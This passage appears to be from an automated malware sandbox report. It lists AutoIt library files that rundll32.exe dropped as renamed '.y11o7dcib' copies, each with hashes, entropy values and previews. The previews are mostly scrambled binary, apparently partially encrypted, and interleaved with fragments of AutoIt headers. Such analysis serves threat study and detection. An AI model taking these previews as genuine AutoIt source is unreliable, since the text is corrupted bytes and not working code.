SSDEEP:	3072:c3W/TWjn1xM2mbDghcqAsPjky9l5eO4iONAAclwAuJxQ9a:cfZxbyUeq/Z9l5eEAMNa
MD5:	7EB5C5E9DE02BA38050816EEACE9C810
SHA1:	0D81DA4B0B949BC1B69E1FA6CB2F5081BE96FD4B
SHA-256:	DE782EBDF48E35F182BDF94675A6FAA13E149A84EDB8FC00123E41F6160F930D
SHA-512:	35C16DBE4E3E15866DBC8059A8D9D08CB3ACED842AA13BEC9FBBA77BC9C35933D76505B1BF90BFCF4A4F336CBB1A961D1DE26CD86C79E77B54F5ABAD76C5A858
Malicious:	false
Preview:	.(....}....WB.WNp...1..BA...Sl?.i...?Y...H.8I..F.:S.(..Bm."},D==================================================================================..; Title .........: NTSTATUS UDF Library for .4........G;K.0k.[...=A[...].3.z.$.9Db.S..l..L..'@.;..1..z2c.r codes (NTSTATUS) to be used with WinAPI UDF library..; Author(s) .....: Yashied..; ==========================================.\|...$.....r.gyv...B..n\\...Sl?.i...?Y...H.8I..F.:S.(..Bm."},D=====================....; #CONSTANTS# =========================================================================================.\|...$.....r.gyv...B..n\l0l..3cHt.F.q...s!.Q!.z(.D-.F..Bp.gp!I00000 ; The operation completed successfully...Global Const $STATUS_WAIT_0 = 0x00000000 ; The caller specified WaitAny for WaitT.1....}....])..,..Z...'.._Y..3hA7.Z.k...H..J..@..'..g.E_8.l`s.en set to the signaled state...Global Const $STATUS_WAIT_1 = 0x00000001 ; The caller specified WaitAny for WaitType and one of t.$....i...@oK8...J._.s.._...;gG .H.p.

C:\Program Files (x86)\autoit3\Include\NamedPipes.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14259
Entropy (8bit):	6.392165726003581
Encrypted:	false
SSDEEP:	384:qXIdaUbUe+pag1A/KgvqBjjDIR53DpA9i84Ou+4604N:L/MpaZ/KCDySS
MD5:	9108D36ECB032474E7F9D61D2B5844C4
SHA1:	620AF14F6E4EF43E17C30BB1A5BDB7BB4D94EF82
SHA-256:	1763A1AC11C9A3515333CADDC62B66F97A6765317DD18F5B7D22278671CE89B8
SHA-512:	B6B0F2ECA6F267578B3A8066CA6615311E48E3017929279A5443F29FC361427C9E4B11BCF0F05C7124185FE92773B9F537F69A0FC5F51AEA457415F1D57F8608
Malicious:	false
Preview:	...U)1.....K.#R!.....\|.w2F..t.y...Kp.........,g..a1.U_...7w[y=======================================================================================================================..; Title..T.kjK.....G(Ir....\|.}[.d.s..c....-..K..".b$e...\.....\.Vw.: English..; Description ...: Functions that assist with Named Pipes...; A named pipe is a named, one-way or dX..S=d....N.\xOn...j.f{.*..d.i..Pv.....i...m3..LZ..\...R@.ymore pipe..; clients. All instances of a named pipe share the same pipe name, but each instance has its own O..P 6....L.$c.!....)S22Dd..!..d...H{..E..h...p3...H..\....].-e conduit for client server communication. The use of instances enables..; multiple pipe clients to use...Se7.....I.K<.q....`.g~.%.n.`...._..E..c...le..........RA.4ed pipes, subject..; to security checks, making named pipes an easy form of communication between related or X..S)%.....X.A;Ir.....H22Dd..!..,....>.

C:\Program Files (x86)\autoit3\Include\NetShare.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	45783
Entropy (8bit):	6.539149115735974
Encrypted:	false
SSDEEP:	768:Tl7FtEq3/wK+Jz2uH9qBK3uAw64wv8zFoq8bzs4ar84gAOBnI:J7FtEqvwK+JFHkK3uZ650zFobbzs3Y43
MD5:	245A64A60D97480B70D7FA35A747FE7F
SHA1:	07553C8B46AB64F94089417EFFD088F197D441E3
SHA-256:	F5851ADF065D6C605F2C84B9CEF4B59CED103AC22418002B38184153A9E753B1
SHA-512:	B028BA92FACAE95371D59AD68A31DD43BC955272F5A547A2703E8D8B9B21FBF9E7054CB39AA6764950B2B38DA26E0CBE0BC0F2D2260F480BCF1CAEEA18621CD5
Malicious:	false
Preview:	...?x..7E`w.../.j....&..c..n..&.."..........b.bIM0@$.....M.\|D..nAPIConv.au3"....; #INDEX# =====================================================================================================..La)..oU2$..O..]....j..rZ.....kQ@~.sR.#.....'9D..O/.....]....;ersion : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Network Share...; ...\|z..%.}r...D......)..iX....1..<..........?.b..X9)....A....Mresource is a local resource on a server (for..; example, a disk directory, print device, or named pipe) that ...\|v.3.l\|..A...../..&W.Y...5..3.).......l...b7q'...Q..\|F.M network...; Author(s) .....: Paul Campbell (PaulIA)..; ===================================================================..La)..oU2$..O..]....w..;......xBSm.`U.P...F.q[*GR.w:...L..Ql.g; #CONSTANTS# ==================================================================================================================..{.x..3./Z..Q.D.......Oe.i.eBN`.mX.]

C:\Program Files (x86)\autoit3\Include\PowerPoint.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58031
Entropy (8bit):	6.524751052168628
Encrypted:	false
SSDEEP:	768:b8J0VggwrYAcy/PUiQswrcdSz6ppPO759/8YNCPDLi46j1xPF9KUISAJKvt:We0TkZsG+ShmqPFgsvt
MD5:	84B1936A8AE56A9DD925A5C382423A22
SHA1:	5640711700411C43C83CED4D002D6F2C115BD3CB
SHA-256:	232AEF6FF3478088A1EE5FE2B20C37092232521AEEC70067AE6AF831A1A30070
SHA-512:	BFC4DB510BBF9FB992014952F629F8BE59E8B25EE51B20D531722A4998D35379D9268F45774F14722BE0CFE2457189F31FD7C20339E7FC93F4D483983206959B
Malicious:	false
Preview:	..&..g.g.N...\Y.....a,/./.x_....._.n..f..X$.$V\|.-...@..~... intConstants.au3>....; #INDEX# =================================================================================================.u\./.?..@..ln..HO.)uG..\.cB...G...!U.;.L.ZBJ.0..(.......!f...oFunction Library..; AutoIt Version : 3.3.12.0..; UDF Version ...: Alpha 5..; Language ......: English..; Description ...: A coll..<..\|.mF....2'.....r'8....oE.....M.k[.t..]bGH(6.n.......}...8erPoint files..; Author(s) .....: water..; Modified.......: 20170606 (YYYMMDD)..; Remarks .......: Based on the UDF written by t..,..:.gE.1..: ...I.X!$..R.$..Z.G.../..a...8.^+(..;.......y... m/forum/topic/50254-powerpoint-wrapper..; Contributors ..:..; ==================================================================.u\./.?..@..ln..HO.)uw..A.7..I.T...2F.(.K...ab..s..]..L4.B.; #VARIABLES# =================================================================================================================.Ek.~.`AM]...:..!-.q?..A.:..T...Y./..c

C:\Program Files (x86)\autoit3\Include\PowerPointConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7475
Entropy (8bit):	6.64525762267081
Encrypted:	false
SSDEEP:	192:JfFKcO42F4saMWAhW50OgQ3psRPpXrbowLS:JfFKcOzrW550OgQ3GBFot
MD5:	CDF11F8D1CCB96A5BFC8D5D450523E6C
SHA1:	5DD3A7118336A5F773811D16D99E974DFC9E390C
SHA-256:	B20CA03D62157383413849ADEE38DD475807101C18DD17576012188EB07C7C03
SHA-512:	FA637CAC2B603C888EEBDEADD53A5EF040613D2C8D0CD6F29241A648BAD150B6969854164A8C34059912087144A1AABED20E5363E1F2B1D10D33A7BE2279654C
Malicious:	false
Preview:	.U4..aZ.jNX?t.!....JQ.[A.RW'm.........e.:...E_&S.\..?.0K....==================================================================================..; Title .........: PowerPointConstants..; Au.S..XB[.4HY21...)..Xo/b..R&{>..^......v.'.....h..k..g.n....@on ...: Constants to be included in an AutoIt script when using the PowerPoint UDF...; Author(s) .....: water..; Resources ..........qL.(HX(1...7...m,z.x...t#.W.......5..i...t......m."....Z/library/ff744042%28v=office.14%29.aspx..; =====================================================================================..g.E)..z..a,...:..T%\|"R$.OW'm.........e.....XAX!.2...V..V....===============================================================================================================..; PpFixedFormat.E.XQP.DD=e.D.)...}"v.`....p..O....... ..*.....oN.....v.-....[t...; See: https://msdn.microsoft.com/en-us/library/ff746754%28v=office.14%29.aspx..Global Const $ppFixedFormatTypePDF = 2 ; PDF.Z5..uJ.MfZ3s.G.DE..la;.i....4..M....B.

C:\Program Files (x86)\autoit3\Include\Process.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4135
Entropy (8bit):	7.643052819300494
Encrypted:	false
SSDEEP:	96:qGnYmQahuBIqhgOSufgZUdoTTyLfn8qvajVS:q87lhODI9Ifn8qGVS
MD5:	C96F35F655C035AAC8B6C2CE59C8C5DB
SHA1:	C51AE5482281707A97BD526E50C486B8F2A6AF01
SHA-256:	32693D8C8681956CA90FF3314B2E9211BCED4DB454AA0C3D60F33F755629B07B
SHA-512:	5897D4DEE76EFBA98003B100941D59252C5F1CF2AE66C8098C68B64779BF8DE73938642132A154D0E3BDD656082F6AC90C277C64FAA04E74AEA3DE364C791A9A
Malicious:	false
Preview:	!:.....?....?:&.E..K.>....@...!x.L#b#...I..V.R.<...+l...r..%.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-A.a.b."j@s.,}....t...5TI.<7..G....T0...7b.al6pDZ.....Jl.....~+.;.S.x(.}.,i.....3...a.h.<Y.L.&....>.[..~.l8e?...I.]C[..B..0;.....$iF6.qs.....?....t:&.o{.Q.=.....>.O.j1.J>e6.....kX...C...q8.2.A..sF8.p......7..4SI.c..D.;.....T...j%.!b"~YZ....\...T..>(.6.<.v;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...[.(Y."p........g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n..Y....5....RX..W.(mi..Os....n._>e?...D.6.[>.D..CA.a...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g.<.\=.p.W....y....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI

C:\Program Files (x86)\autoit3\Include\ProcessConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.475889854694801
Encrypted:	false
SSDEEP:	48:0qwm3gwqwCdwqwr6l9pPig4PXqw2/M2XZwitBS:PBwTxdT79pPig6XqG2JVHS
MD5:	B442FB85D3ED2832BB73EEBB79D42D4E
SHA1:	FE1B33508DDA0C0D752BC6180A33A3DE7D6C463C
SHA-256:	79D5DF372BEB4BF31AC3B964CB9062D0C73AC15EDB10A9D144A7363D8C3884EE
SHA-512:	C2D6D0CA5CC24F86E05B21818D0238F8DF822213228322B1949E5C01510205845890B212D0852955479EAA9134D5540DA5075F0C86F7079B53AA625083BB134D
Malicious:	false
Preview:	.4...7.[.o...-..........c..LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4..=i...OZ.QQ..(N.N.. k..33#..qiB2c>...6@..I.=..)./.0.W.n......'...c....z.....a..N......87..An!K,....X8..\|.&..s.W.b.Q.s...T.}..U7...XZ....o.....guO..$v&.Ae^(g+...^$..{.'......'.M.f...T..g..:X...NB...../@.N..:...<?;..ug^87....Of..&.D.}.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.P.t.y...O...a..Z...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D.....=......4...o......LB..;].]...=...mkm..;.\|b...w..5.t.`.D...4.l...L..f..Cr...tu.",..C2f)..rE...`.`..6.q&R...T(..(.&..).]...}.S...r..]..c.......QO.6P.P...1..?41..qiB2c....t...[......<...q.I.....9...b...6<.....j@h...R ........mPa.X....o...(.i..m.I.r.......O..e.X<...f.><..U?}-..cA..pf(..6.q&o..W%..d......Y...q.E...v..^..c.....N.AO..6R.m..JoY..p.?..F&..E....h...X......<.....0......9..p>...W......&D{2..cSh

C:\Program Files (x86)\autoit3\Include\ProgressConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.673710518505951
Encrypted:	false
SSDEEP:	48:XDzSzMH7feGzSzKzSzLs+S/a3VQb6I8J4PECGvPT3IuzeJJKzSzXI6TS:xy/ps8J4Jct+I6TS
MD5:	43FC78AAD72D2AF9F6F31C15A413404B
SHA1:	1D0C55CD2119FD73D6E8FFC3762651088DBAB666
SHA-256:	857F36D55523B52D1E4676381D7D2EA2C61F49F40D07B276BAE2815C6F3D4B64
SHA-512:	608A8F39129F92D0E804B1BE57C04B386B13DB2D662177F2696FCC20856C0D1B43D7D6755B88672995E2F79250D74C5C7E2AB8403E89490E3FBF08185F53A62D
Malicious:	false
Preview:	a...y..9Q..."..i...T.>BIv..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^...&g.ne9..A.C...O1:E..F}.,....G.r.4.....I.B..-...C..}Q...;.P...3vw.u.V....Y..O1.K.B.:.'....@c.Bu....e..w..,.P.;...u....I5.M...m7.iu<..(..>J.N.l.....J.&....[L?>.....y..l......g..4M...J{.L...\|).'\| ._O...[.A.qs...]i.D.W..].i.'...9\.-F.b...\|...S_...iz.....3iT..n..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h.=b.M..m/LT$.8.:.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P...\"=X.Q.'.t.Q...S<Dh....O.>U...C.(..).....5.^... zG:,h..R.P..(Z?S...Li.C....I.!::....3".P7.../.P...4.....8.S...&g.otu.E....M...~rE.._..i......!.4....r..D.. ...V..`...\|W.....UgG' X.p....R.a.qs..HyX...!..\|&S<.....7O.3..r.E.C..u3...@j...s4.'5..d0..?j.a S X.X$..C.L..F.s.9...v..wH.6...f...xQ....K.....9./NN..h+..,k.v>OR.>lI.i.L."c.Bu....v..pe.....t...{P....W.3...O.)TS..t ..9..v>HM:.

C:\Program Files (x86)\autoit3\Include\RebarConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6733
Entropy (8bit):	6.753622214481986
Encrypted:	false
SSDEEP:	192:eduU/5rIYpG9+YRdW+ZoLwluWaIPUYtT9S:eduW9Ud/6LqPUYtTw
MD5:	942DAD91E4D107C200B73D97CCA6B6AE
SHA1:	8C2690E0FC402FE55B752B1E846C2F3CF7B6708D
SHA-256:	7D7CF2B6F6CE4A5AE54FB569D7F6CF08355E33602D225DE70C2204CF92DD9601
SHA-512:	EDFB867B9C1098F899AF6266412D4294E528E1B3BD1F449DEF4B12415EC4CB0266106C1C7B5A42AFECDEFFEFCC7CA046BC57F73E7CBD3E2C3FF6FB8D16472862
Malicious:	false
Preview:	.EI...2....S...I{..Qg..?B./.19..c..on..#2@.,.s=s(usl.z...-F..!==================================================================================..; Title .........: Rebar_Constants..; AutoIt.zB...9..V..e.,uG...$..6{.h.mc..p..\|i..ph.Rb.C.u5.+".5.].y...2..: Constants for Rebar functions...; Author(s) .....: Valik, Gary Frost, .....; ===============================================......k..Q..v.?yL..O...G'.2.19..c..on..#2@.,.s=s(usl.z...-F..!================....; #CONSTANTS# ==============================================================================================......k..Q..v.?yL..O...A:.j..e...T..=1.>L.Ub.n$.J......b.C/..H_WM_USER = 0X400..Global Const $RB_BEGINDRAG = ($__REBARCONSTANT_WM_USER + 24)..Global Const $RB_DELETEBAND = ($__REBARCONSTANT_.ax......L..F.E(..P.....i./.^F..........>'YdN..B.G......c.O,..ISER + 26)..Global Const $RB_ENDDRAG = ($__REBARCONSTANT_WM_USER + 25)..Global Const $RB_GETBANDBORDERS = ($__REBARCONSTANT_WM_US.~..b..f.\$.c(Q.^.]..^H.P.IP.........

C:\Program Files (x86)\autoit3\Include\RichEditConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14719
Entropy (8bit):	6.795940156710328
Encrypted:	false
SSDEEP:	384:ZS+KQ7K8GnPtGrDpj2W9hY1UximLng4SftnvrDmlZt5mXE1Xareu/AiaKQnzu4L9:KMvKCNRz0741niJR+
MD5:	E285EB97E00CC4BE144CF909825C6D65
SHA1:	8FCF5E290EDBE01C8C8498CF930CFE3C4D28E597
SHA-256:	F30196B68CCDB6C9DA8F108694A12FAC17E212C37BDEE3841E48796774C0BAD6
SHA-512:	58828AA6F6AAEF27F0E69A611AB08B529C6A7C83442E7D88488F3AACFE2C6758FBBCDFEE642A0108E2969C8102BE1F1F67C4B3A6A1AB860B774D605F2066CF93
Malicious:	false
Preview:	.Y.......rZ...Q.=......>....L.! ....g.4....y.p.x..6..B...==================================================================================..; Title .........: RichEdit_Constants..; Aut.y.P......r..(.r.(........b.....I<3....t..g.KSD,.G.e..x.......n ...: <a href="../appendix/GUIStyles.htm#Edit">GUI control Edit/Input styles</a> and much more constants...; Author(s) .....: G.B.P......<..&.V.&........>....L.! ....g.4....y.p.x..6..B...=================================================================================....; #CONSTANTS# =============================...M.O...!..5.a.;........>....L.! ....g.4....y.p.x..6..B...======================..; Messages..Global Const $__RICHEDITCONSTANT_WM_USER = 0x400..Global Const $EM_AUTOURLDETECT = $__RICHED.d.?..&..Cn.W...T........l....2Crn........G.fic..p.a..Y...:...CONSTANT_WM_USER + 50..Global Const $EM_CANREDO = $__RICHEDITCONSTANT_WM_USER + 85..Global Const $EM_DISPLAYBAND = $__RICHEDITCO.c.1..-..Ij.Z.w.3......#......8X.b

C:\Program Files (x86)\autoit3\Include\SQLite.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59538
Entropy (8bit):	6.685183395516678
Encrypted:	false
SSDEEP:	768:/FeUDbiZJTuzGSiJxZWXtnZsBs1aGKeix7dYkUpkfeivRSgP9d:/F+Z71xZWrsBle+GSfPvR
MD5:	2582BE060EB53A4E299191A31A185955
SHA1:	E850CFA86515A717A9821433D626FAF575F61734
SHA-256:	EA3E3CCDE5036902762A4C97958C543D6717F21E2274EEBF7E818634BB25CF5B
SHA-512:	FF8A64BCE3962F09352F7630E5721D0D2DD10D21A7ED13C9B647BDE00B79E591CF68F09D7E39E085D9434E2CCE5FA6747FF2BC240F3EA05A5431A6CA9775BABA
Malicious:	false
Preview:	0v...."n....`[...p.......FU.......$..y.~..k..8....[,.&t.]..Y.ine_Modified....#include "FileConstants.au3"..#include "InetConstants.au3"..#include "Array.au3" ; Using : _ArrayAdd(), _ArrayDe.z.....P@....9....w.@.l..Zzf.$..U......bB...9..>...e$ ..p.~*.R.)....; #INDEX# =================================================================================================================."\...4!,....X.J.1.G.H..J[.)..z..M..x8U.\|..>...e$L.Y3..m.:.; Language ......: English..; Description ...: Functions that assist access to an SQLite database...; Author(s) .....: Fida Florz~......l`..V.J....3......9N.,B.Y..C..C9_...j..>...q`..g...~...===========================================================================================================================....;32L....",U.R.GU.I.2.D.K..4'.mO.Z..@..@:\...4.Iz...r)R.G0..n...---------------..; This software is provided 'as-is', without any express or..; implied warranty. In no event will the authors qzA....ch....J....~...l.Pxg.'..W.....

C:\Program Files (x86)\autoit3\Include\SQLite.dll.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	611
Entropy (8bit):	6.952690640532924
Encrypted:	false
SSDEEP:	12:91aWRZKVy+NGqA2MgXi20cvg2hh5mNFzYxFzSW3Rs+ovmBS:WddGqtXv0Ygu56FzYxpR2ES
MD5:	8681836EBCCAC0F14271DA062B451467
SHA1:	906476C98E4791043881B86A4C19743567837689
SHA-256:	51ECEEE221EDA93B2490C69F8EFFB88DCF474A26697FC2906B71880707EF7BC5
SHA-512:	E4AE7CC7EA9E9D1D1C37D95D480A49857777680740EAF64E8996BE086CF154F394263671478C534E48BDA1A88B65583BD45AAC25CD648063B60E055C7839A831
Malicious:	false
Preview:	.......]..!..l.S...W.\|...M~..._d!..+9WR\|..&o(..F.lf^.d/.e... .....53(%..8.?.....`...Py...di%....3!cwE.c(z..^.omV.\...;Y..\|....S...A`.N).@..H.....\|y...enl...&61"..~)m....62..$J..m...I.....gf=...l.?.....`...J~...".F...nz.]n..%e8..L.}\|T.Z...%]....EndFunc ;==>__SQLite_Inline_Version....3..g..\| f......(..'.......H.C.W.^Z........V...\|.....,.x.8..,..g..g....A.t.B.......]m6..W.'>.......Nr...7.I...A...<........R...oeL.</S..............R."...,.k..8..w...{...2X.W.....(.+........F.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\Include\ScreenCapture.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11344
Entropy (8bit):	6.5751263288637505
Encrypted:	false
SSDEEP:	192:eD7JbClDtEpWoJeI+bCX4qA18cCqZQZ09lDSHTBNOYedWenmHS:eDJClZEwueIP4qWwODI9KdWs
MD5:	A5B15C8D9E3A7A56B4947BB1437EE6A3
SHA1:	5A07F6910FDB512E9131489EB8ED303405D0C43F
SHA-256:	345EB916C43B3691B25ACC1D472FB877676D911FD251FC9045B672948E1B2CA3
SHA-512:	B0967D74BBB919715119FAB2AF0666D17668F04FF5262595D1ECE32C56753B20210C402C50E66BAB4A44EC0202E95F8090724DF1806D71AFBCFED12BB53348B2
Malicious:	false
Preview:	..~1b.~...M+....;.\b.l.S.......F'....&..2.\\|........C..P!&..rnals.au3"..#include "WinAPIHObj.au3"..#include "WinAPIInternals.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ==========..-o3..&....s..%.%..<.$....n....I.4HD.....fV.-.U........7...UuAF=============================================..; Title .........: ScreenCapture..; AutoIt Version : 3.3.16.1..; Language ......:..~5b.s.......{.q.Fh.w....i.....A`...._./K^c........Y..\.&\8apture management...; This module allows you to copy the screen or a region of the screen and save it to file. ..`7`.u..@n..}.l.Bd......s...T.)UY.....4..y........i....-.[various image parameters such as pixel format, quality and compression...; Author(s) .....: Paul Campbell (PaulIA)..; ==========..-o3..&....s..%.%..<.$....n....I.4HD.....fV.-.U........7...UuAF=====================================================....; #VARIABLES# =========================================================..-o3..&....s..%.%..<.$....n....I.4HD...

C:\Program Files (x86)\autoit3\Include\ScrollBarConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.030980852672302
Encrypted:	false
SSDEEP:	12:YL2Mo+yMhUfMhU8vmCpF4bAfMhUfHxKZNeXpgqjg8SN19llQBS:YZo+1hmMhjXzpfMhmcNe5DjgrHsS
MD5:	1D78A2853C7216B3DC78D49CDC851E4A
SHA1:	347923BEC5CD50919A52A9F759C9F9A5432F4536
SHA-256:	58AA191E5839C458A7C7F515EB6C1AA21F96F21D3EDCE84EC55C7344F24D29F5
SHA-512:	8409BE52DE9CF07D02207683A3EE2E2DCADC05EC68C05BD4B776E25FB964CC67C9515029363F68AF97A3664E45E44F61E3F1A0FBC42B446C35E64EFFE474AD29
Malicious:	false
Preview:	....D.....c..z...Ko..J.v.>z?..^w.Z..5..G.6.N7.h.4.....s..gU...........B=..M....<.....!.aC..&.....g....e..$. .+..3...m...-...........B=..M....<.....!.aC..&.....g....e..$. .+..3...Z..wy.@.......Q:.@....NC..`.\|.o]=..A.........G...Oj.r.6..=.a..........D..P.Q..=^...go..V.{...\|:.Ax.R..5....v..R.m.6.\|...=..Wy.I..F..]..l.3....Lf.5.3.i]4...h.....t....(.0..=.+..3...m...-...........B=..M....<.....!.aC..&.....g....e..$. .+..3...m...-..================================================.....B........[\.SXO..C.0.a...j.Y..u$...s.......u.....2A...xqe@...I.A.R.ol?..1..\.I}...x#.[.;)..........~T..........'.l.cc.........../9a..}..=nF.... @...T..U,.7~..]/y.YcR..%..;M.>..1>..7..^./[.0.uEF................................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\Include\ScrollBarsConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	7.669496413516488
Encrypted:	false
SSDEEP:	48:9sT4WnJMEiwDIDtF3XsaOJtg5Hyp/FHziQMIsf6kAS:KT4WnyEi5H3XWJtg5HyJFHzipn8S
MD5:	7F7C559B80D7772BA7F072D639ED2A1A
SHA1:	2590ECB57B84AEB8513AC1CF80B6149D12950E09
SHA-256:	A4C51B4324D10D8DA379ECDC07B957A43A5A28E091EBCF891E4DA80FDFE0F610
SHA-512:	DAABE4A5101A162D53985B69432B920102164FCD94295975BAF90791EA2C03490F8EB63F148CE1E825E2BA499DF488ED7CC898F72EE77D89DE5FB3E4324D52A4
Malicious:	false
Preview:	...#K.)..x..4.Zx.}F...w.hy#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.`X.....vd#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.Po...[.'<>..0.{>av..W.Y.^(t.H...t.._.\|...c....4..(..y...d\.sT...?.pyR...k.2uov....X..w.r.~....Bu;.....V...n..w..x..X.#..;...Q.$5r..>. ~,,X..GX;..JT.c.../.K.p._....9...+.....6..V.#^.sK.....vd#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.`X.....vd#...#.h-re....K...W(..:._.c.L....R...}..p...+....jO.`X.....AT...]..C......V...W(..:._.c.L....R...}..p...+....jO.`X.....vd#...#.h-re....K...W(.*.:._.c.L....R...}..p...+....jO.`X.....vd#..Y.:r.4...Z.B..9\.H...'.B.&.E...N....`d.#...2.....3..E...J.yT...\|.90.7_...Re.t5G.Y..:.RIn.\|...M....H.>..E..f..3..5....{!/..Y.:r.4...Z.B..9\.H...'.Bs7.>...q&....i.....E..f..5.qE...t...M..M..O..p..d9e.?`..P...f.Br1....q-....}.p......V.6...........A..J.h0~U;..[.W..)z.d...T.=r..Q.../e..."F.m...e.....-..1...FS....q.4\|o.^..@V..p5Y.Y...A.B.~.\|...M....H.>..E..u..7..".....zT...\|.90.7_..

C:\Program Files (x86)\autoit3\Include\Security.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18491
Entropy (8bit):	6.369970921125449
Encrypted:	false
SSDEEP:	384:7FvsOQxT+pIpNPVMxu777j/0hW6h05j074/3kwqMX4t:RjZ62xu7ze+Nbfb0t
MD5:	38DF98E7C0D94D94F00238A3CDB93709
SHA1:	FF93B103A294F2CA1A9D53C65A3B6955282839BF
SHA-256:	A90EB9AAA0F5AF11B3A825E31A4926F04FABC515C47AB55FA14346B4F7D21477
SHA-512:	EA52156ABE32CB2D269B16721B50D40122C47FB6FBBDE9A30F33E962FE719F209A1195BAB74E4DB8A23954DD70C91EF73E47502744E89BAA379B87E659F0C856
Malicious:	false
Preview:	..."cOX.........Qz....Z..4...]..M3.B..J.K..?..\|W...../A.!vw\|APIError.au3"....; #INDEX# =====================================================================================================...Pj:.H\..R....5.[.......MU..y rE...G.JJ.3..J}.....krkqRw}n : 3.3.16.1..; Description ...: Functions that assist with Security management...; Author(s) .....: Paul Campbell (PaulIA), tra....Z..U\..R.....)]...G..l.^F..j3aB...\..Dw..L`.C..v.3>.#/========================================================================....#Region Functions list....; #CURRENT# ==============...Pj:.H\..R.*....)]...G..l.^F..j3aB...\..Dw..L`.C..v.3>.#/=======================================..; _Security__AdjustTokenPrivileges..; _Security__CreateProcessWithToken..; _Security__D....6sO!.....o....K3........$.@.4m3._..M.5)Bj...>.......ckwm{\|gthSid..; _Security__GetTokenInformation..; _Security__ImpersonateSelf..; _Security__IsValidSid..; _Security__LookupAccountName...>2d_....0.[..OMd!......8.nq...]9.D.

C:\Program Files (x86)\autoit3\Include\SecurityConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8461
Entropy (8bit):	6.876497947169119
Encrypted:	false
SSDEEP:	192:EhDq1MDQxEW+25eS/MCEID1WzKtINfC5YDFQNgPL0zEdhAS:Eh5sfMC5GKaZIYiqP44D
MD5:	3D5AAC7F02C1F0207E89539A67C8EFBA
SHA1:	06344B3BAA64C979CD6FA4F9586BFA698E3B5D2F
SHA-256:	775B9056784E304889E8D197942809C78B50B6C380D36D0B30E2962AC3A90297
SHA-512:	3AE768B52A3F01DF7938CD1DBEE28AC4FEF7C245F3FA86DEADA28E130F8F8D5A62C2388EB5A3AE169D803139D2AAE822FA6444A1AC6FC3C07C0347088B9468A4
Malicious:	false
